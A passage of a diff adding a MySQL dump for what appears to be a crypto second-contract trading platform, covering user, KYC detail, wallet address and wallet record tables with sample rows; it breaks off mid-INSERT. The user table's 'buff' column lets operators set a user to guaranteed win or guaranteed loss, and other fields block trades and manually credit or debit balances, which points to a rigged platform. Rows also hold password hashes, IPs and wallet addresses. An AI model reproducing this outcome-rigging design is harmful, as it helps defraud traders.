+INSERT INTO `t_app_sub_transfer` VALUES (8, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319824921', 1, 'USDT', 1, '2024-02-19 13:17:05'); +INSERT INTO `t_app_sub_transfer` VALUES (9, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319843707', 1, 'USDT', 1, '2024-02-19 13:17:24'); +INSERT INTO `t_app_sub_transfer` VALUES (10, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319906328', 1, 'USDT', 1, '2024-02-19 13:18:26'); +INSERT INTO `t_app_sub_transfer` VALUES (11, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708319977970', 1, 'USDT', 1, '2024-02-19 13:19:38'); +INSERT INTO `t_app_sub_transfer` VALUES (12, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708337037755', 5, 'USDT', 1, '2024-02-19 18:03:58'); +INSERT INTO `t_app_sub_transfer` VALUES (13, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708353526467', 5, 'USDT', 1, '2024-02-19 22:38:46'); +INSERT INTO `t_app_sub_transfer` VALUES (14, 336, '100000336_virtual@oh30o2aunoemail.com', 1, 'SPOT', '336_to_1708354258035', 5, 'USDT', 1, '2024-02-19 22:50:58'); + +-- ---------------------------- +-- Table structure for t_app_user +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_user`; +CREATE TABLE `t_app_user` ( + `user_id` bigint(0) NOT NULL AUTO_INCREMENT, + `login_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '姓名', + `login_password` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '登陆密码', + `phone` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '手机号', + `is_test` int(0) NULL DEFAULT NULL COMMENT '0-正常 1-测试', + `address` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT '' COMMENT '地址', + `wallet_type` varchar(15) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT 'ETH' COMMENT '地址类型 ETH TRC', + `status` int(0) NOT NULL DEFAULT 0 COMMENT '0正常1冻结', + `totle_amont` decimal(20, 6) NULL DEFAULT NULL COMMENT '总打码量', + `recharge_amont` decimal(20, 6) NULL DEFAULT NULL COMMENT '充值打码量', + `buff` int(0) NULL DEFAULT NULL COMMENT '0正常 1包赢 2包输', + `app_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT 'app代理ids', + `admin_parent_ids` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '后台代理ids', + `active_code` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT '' COMMENT '邀请码', + `register_ip` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '注册ip', + `host` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '注册域名', + `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '邮箱', + `level` int(0) NULL DEFAULT NULL COMMENT 'vip等级 ', + `is_freeze` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '是否冻结 1=正常 2=冻结', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '创建人', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '更新人', + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `is_black` int(0) NULL DEFAULT NULL COMMENT '黑名单 1=正常 2拉黑', + `binance_email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '币安子账号邮箱', + PRIMARY KEY (`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 337 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '玩家用户表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_user +-- ---------------------------- +INSERT INTO `t_app_user` VALUES (309, 'test01', '$2a$10$20t6jekznsbRKBxVURr/wO9JKCZX0BlE/VF6ec57AU7WXtOJl0Hx.', NULL, 1, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'XRHCGZ', NULL, '156.251.226.70', NULL, 0, NULL, 'admin', '2023-11-19 00:48:47', NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (324, 'awen123', '$2a$10$hbb71wQ7Yg.l1hL2DBvpmuj6X0llgJnVOXgLH4cXWBJXzzc8rtt5W', NULL, 0, '', 'TRC', 0, 0.000000, 0.000000, 0, NULL, NULL, 'SB6199', NULL, '104.245.100.188', NULL, 0, NULL, 'admin', '2024-02-11 16:12:52', 'admin', '2024-02-11 16:12:52', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (325, 'test000001', '$2a$10$lyIBzYb7dI4n0p9/x85G6.vwi6t0HVVTzaCuxWKs6o8Lu1919D6FK', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, NULL, NULL, NULL, 'ACMRGX', NULL, '192.168.10.175', NULL, 0, NULL, 'admin', '2024-02-13 18:11:23', 'admin', '2024-02-13 18:11:23', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (332, 'test02', '$2a$10$eJQV00TT6SbqRX.TRsSB2.ZbuM734o9VaA96AezmItEIKns.aI3DC', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'RM3SST', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:17:20', 'admin', '2024-02-14 00:17:20', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (333, 'test03', '$2a$10$WxmCW9IDHCAa/3gjhmuTNedV.TAShUeOrlgPn9foaYjM78CUmJJNa', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, '8BLEC6', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:36:27', 'admin', '2024-02-14 00:36:27', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (334, 'test04', '$2a$10$WVs9RoRbNMqzPDvZcALsPOzPdgdPg8zEq2ez6TmvP8MQg/V5PDfre', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'PMTR8I', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:41:40', 'admin', '2024-02-14 00:41:40', NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user` VALUES (335, 'test05', '$2a$10$1par4nN4btxcryY1Gv4v0Oh4e3UPFdja1hciwYTUtfTe7pOMnqtr2', NULL, 0, '3298923748234', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, 'YQQ9K4', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 00:44:41', 'admin', '2024-02-14 02:27:30', NULL, NULL, NULL, 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user` VALUES (336, 'test06', '$2a$10$MMU0y0Rsz.fDlHe5IPmZuuDdRErKBegKE./XHCra.gYefEiiIHy6u', NULL, 0, '', 'ETH', 0, 0.000000, 0.000000, 0, NULL, NULL, '1T90BW', NULL, '192.168.1.11', NULL, 0, NULL, 'admin', '2024-02-14 18:15:11', 'admin', '2024-02-14 18:15:11', NULL, NULL, NULL, '100000336_virtual@oh30o2aunoemail.com'); + +-- ---------------------------- +-- Table structure for t_app_user_address +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_user_address`; +CREATE TABLE `t_app_user_address` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `user_id` bigint(0) NOT NULL, + `symbol` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '钱包类型', + `address` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '钱包地址', + `binance_email` varchar(255) CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci NOT NULL COMMENT '币安子账号地址', + PRIMARY KEY (`id`) USING BTREE, + INDEX `userid`(`user_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 13 CHARACTER SET = utf8mb3 COLLATE = utf8mb3_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_user_address +-- ---------------------------- +INSERT INTO `t_app_user_address` VALUES (7, 335, 'USDT', '0x834729accd0f9fb0474431079bc7107820cea538', 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user_address` VALUES (8, 335, 'BTC', '1Dx8rao8MDRmPRhETXG144uxmHKjQ8icU6', 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user_address` VALUES (9, 335, 'ETH', '0x834729accd0f9fb0474431079bc7107820cea538', 'user100000335_virtual@glbtmubhnoemail.com'); +INSERT INTO `t_app_user_address` VALUES (10, 336, 'USDT', '0xd058fcf1a90a3038d67151b91d02049a7c0d1011', '100000336_virtual@oh30o2aunoemail.com'); +INSERT INTO `t_app_user_address` VALUES (11, 336, 'BTC', '1DxSDKjecqwLxTq2yWGTr9bhFy8rZvyN3y', '100000336_virtual@oh30o2aunoemail.com'); +INSERT INTO `t_app_user_address` VALUES (12, 336, 'ETH', '0xd058fcf1a90a3038d67151b91d02049a7c0d1011', '100000336_virtual@oh30o2aunoemail.com'); + +-- ---------------------------- +-- Table structure for t_app_user_detail +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_user_detail`; +CREATE TABLE `t_app_user_detail` ( + `id` int(0) NOT NULL AUTO_INCREMENT, + `user_id` int(0) NULL DEFAULT NULL, + `real_name` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '真实姓名', + `id_card` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证号码', + `front_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证正面照片', + `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '国际', + `card_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `handel_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '手持身份证照片', + `back_url` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '身份证反面照片', + `user_tard_pwd` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户交易密码', + `create_by` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `remark` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `audit_status_primary` int(0) NULL DEFAULT NULL COMMENT '初级验证状态', + `audit_status_advanced` int(0) NULL DEFAULT NULL COMMENT '高级验证状态', + `credits` int(0) NULL DEFAULT NULL COMMENT '信用分', + `user_recharge_address` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '用户充值地址', + `win_num` int(0) NULL DEFAULT NULL COMMENT '连赢场次', + `lose_num` int(0) NULL DEFAULT NULL COMMENT '连输场次', + `trade_flag` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易是否被限制 1 为限制', + `amount_flag` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '金额是否被限制 1 为限制', + `push_message` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '金额限制提示语', + `trade_message` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易限制提示语', + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '实名认证时间', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 307 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '用户详细信息' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_user_detail +-- ---------------------------- +INSERT INTO `t_app_user_detail` VALUES (279, 309, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$2a$10$9qBke.BntIC8epyk2KfqyeI9/nv5zU3mWM0NGdwel9bvVsCwARnhW', NULL, NULL, NULL, '2023-11-19 00:50:35', NULL, NULL, NULL, NULL, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (280, 310, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (281, 311, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (282, 312, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (283, 313, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (284, 314, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (285, 315, '张三', '6565655', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.07bcf93ed1d4141458bfe4e1e82f2c895.png', 'nation_Japan', '1', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.095b723b4b001452a8bfcac31a89d535d.png', 'https://echo-res.oss-cn-hongkong.aliyuncs.com/echo2.0ee71e0bb2893468d938e674042aab6b6.png', '$2a$10$8HqQBRZSDTrEw1rvHF2kOO24P87xOmipaQs/4nYGvoFcGzhbYINm.', NULL, NULL, NULL, '2023-12-08 02:35:29', NULL, NULL, 1, 1, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, '1999-10-10 08:00:00'); +INSERT INTO `t_app_user_detail` VALUES (286, 316, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (287, 317, NULL, NULL, NULL, NULL, NULL, NULL, NULL, '$2a$10$3/HFGv3bmniyQd8OCG41y.Z6UmHm5FMdN795rooxBPfuk/2plz9qi', NULL, NULL, NULL, '2023-12-08 02:27:00', NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (288, 318, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (289, 319, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (290, 320, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (291, 321, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (292, 322, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (293, 323, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (294, 324, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (295, 325, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (296, 326, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, 0, 0, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (297, 327, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (298, 328, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (299, 329, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (300, 330, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (301, 331, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (302, 332, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (303, 333, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (304, 334, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (305, 335, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); +INSERT INTO `t_app_user_detail` VALUES (306, 336, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 100, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL); + +-- ---------------------------- +-- Table structure for t_app_wallet_record +-- ---------------------------- +DROP TABLE IF EXISTS `t_app_wallet_record`; +CREATE TABLE `t_app_wallet_record` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '卡ID', + `amount` decimal(30, 6) NOT NULL COMMENT '余额', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `before_amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '前值', + `after_amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '后值', + `serial_id` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `type` tinyint(0) UNSIGNED NOT NULL COMMENT '余额', + `symbol` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT 'USDT' COMMENT '币种', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '代理ID', + `u_amount` decimal(30, 6) NULL DEFAULT NULL COMMENT '换算U金额', + `operate_time` datetime(0) NULL DEFAULT NULL COMMENT '操作时间', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_uid`(`user_id`, `type`, `create_time`) USING BTREE, + INDEX `create_time_index`(`create_time`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1145 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_app_wallet_record +-- ---------------------------- +INSERT INTO `t_app_wallet_record` VALUES (1101, 10000.000000, 'admin', '2023-12-08 02:35:05', NULL, NULL, '人工上分+', 315, NULL, 0.000000, 10000.000000, 'C1207183522767', 51, 'usdt', NULL, 10000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1102, 1000.000000, '123456', '2023-12-08 02:35:44', NULL, NULL, 'USDT-TRC提现', 315, NULL, 10000.000000, 9000.000000, 'P120718351752', 2, 'usdt', NULL, 1000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1103, 3988.000000, '123456', '2023-12-08 02:39:59', NULL, NULL, 'USDT-TRC提现', 315, NULL, 9000.000000, 5012.000000, 'P1207183995071', 2, 'usdt', NULL, 3988.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1104, 3988.000000, 'admin', '2023-12-08 02:40:43', NULL, NULL, 'USDT-ERC提现', 315, NULL, 5012.000000, 9000.000000, 'P1207183995071', 8, 'usdt', NULL, 3988.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1105, 5000.000000, '', '2023-12-08 02:48:55', NULL, NULL, '资金划转', 315, NULL, 9000.000000, 4000.000000, '', 35, 'usdt', NULL, 5000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1106, 5000.000000, '', '2023-12-08 02:48:55', NULL, NULL, '资金划转', 315, NULL, 0.000000, 5000.000000, '', 35, 'usdt', NULL, 5000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1107, 500.000000, '123456', '2023-12-08 02:52:51', NULL, NULL, '', 315, NULL, 4000.000000, 3500.000000, 'E120718525483', 12, 'USDT', NULL, NULL, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1108, 450.000000, '123456', '2023-12-08 02:53:50', NULL, NULL, '', 315, NULL, 3500.000000, 3950.000000, 'E120718525483', 14, 'USDT', NULL, NULL, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1109, 400.000000, 'admin', '2023-12-08 02:56:59', NULL, NULL, 'USDT-TRC充值', 309, NULL, 0.000000, 400.000000, 'W1123135814493', 1, 'usdt', NULL, 400.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1110, 1500.000000, 'admin', '2023-12-08 02:58:21', NULL, NULL, 'USDT-TRC充值', 315, NULL, 3950.000000, 5450.000000, 'W1207185713490', 1, 'usdt', NULL, 1500.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1111, 10.000000, 'test01', '2023-12-29 18:26:21', NULL, NULL, '秒合约下注-', 309, NULL, 400.000000, 390.000000, 'R1229102630996', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1112, 5800000.000000, 'admin', '2024-01-15 23:59:31', NULL, NULL, '人工上分+', 319, NULL, 0.000000, 5800000.000000, 'C0115155985594', 51, 'btc', NULL, 245266282000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1113, 5800000.000000, 'admin', '2024-01-15 23:59:35', NULL, NULL, '人工上分+', 319, NULL, 5800000.000000, 11600000.000000, 'C0115155953523', 51, 'btc', NULL, 245280840000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1114, 10000000.000000, 'admin', '2024-01-16 00:00:00', NULL, NULL, '人工下分-', 319, NULL, 11600000.000000, 1600000.000000, 'C0115160031665', 4, 'btc', NULL, 422790000000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1115, 1500000.000000, 'admin', '2024-01-16 00:00:19', NULL, NULL, '人工下分-', 319, NULL, 1600000.000000, 100000.000000, 'C0115160019695', 4, 'btc', NULL, 63417615000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1116, 88888.000000, 'admin', '2024-01-16 00:01:08', NULL, NULL, '人工下分-', 319, NULL, 100000.000000, 11112.000000, 'C0115160191319', 4, 'btc', NULL, 3755873552.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1117, 10000.000000, 'admin', '2024-01-16 00:01:31', NULL, NULL, '人工下分-', 319, NULL, 11112.000000, 1112.000000, 'C011516015061', 4, 'btc', NULL, 422811000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1118, 1111.000000, 'admin', '2024-01-16 00:01:46', NULL, NULL, '人工下分-', 319, NULL, 1112.000000, 1.000000, 'C0115160192410', 4, 'btc', NULL, 46990878.220000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1119, 3.000000, 'admin', '2024-01-16 00:04:16', NULL, NULL, '人工上分+', 319, NULL, 1.000000, 4.000000, 'C0115160445329', 51, 'btc', NULL, 126918.840000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1120, 11.000000, 'admin', '2024-01-16 00:05:42', NULL, NULL, '人工上分+', 319, NULL, 4.000000, 15.000000, 'C0115160552868', 51, 'btc', NULL, 465311.990000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1121, 10.000000, '123456', '2024-01-19 12:07:08', NULL, NULL, '秒合约下注-', 315, NULL, 5450.000000, 5440.000000, 'R0119040720814', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1122, 10.000000, 'test01', '2024-01-19 12:13:49', NULL, NULL, '秒合约下注-', 309, NULL, 390.000000, 380.000000, 'R0119041378875', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1123, 10.000000, 'test01', '2024-01-19 12:14:58', NULL, NULL, '秒合约下注-', 309, NULL, 380.000000, 370.000000, 'R0119041432296', 5, 'usdt', NULL, 10.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1124, 1000.000000, 'admin', '2024-01-19 12:19:19', NULL, NULL, '人工上分+', 320, NULL, 0.000000, 1000.000000, 'C0119041916433', 51, 'usdt', NULL, 1000.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1125, 20.000000, '1234567', '2024-01-19 12:19:31', NULL, NULL, '秒合约下注-', 320, NULL, 1000.000000, 980.000000, 'R0119041986880', 5, 'usdt', NULL, 20.000000, NULL); +INSERT INTO `t_app_wallet_record` VALUES (1126, 11.200000, '', '2024-01-19 12:20:39', NULL, NULL, '秒合约结算+', 309, NULL, 370.000000, 381.200000, 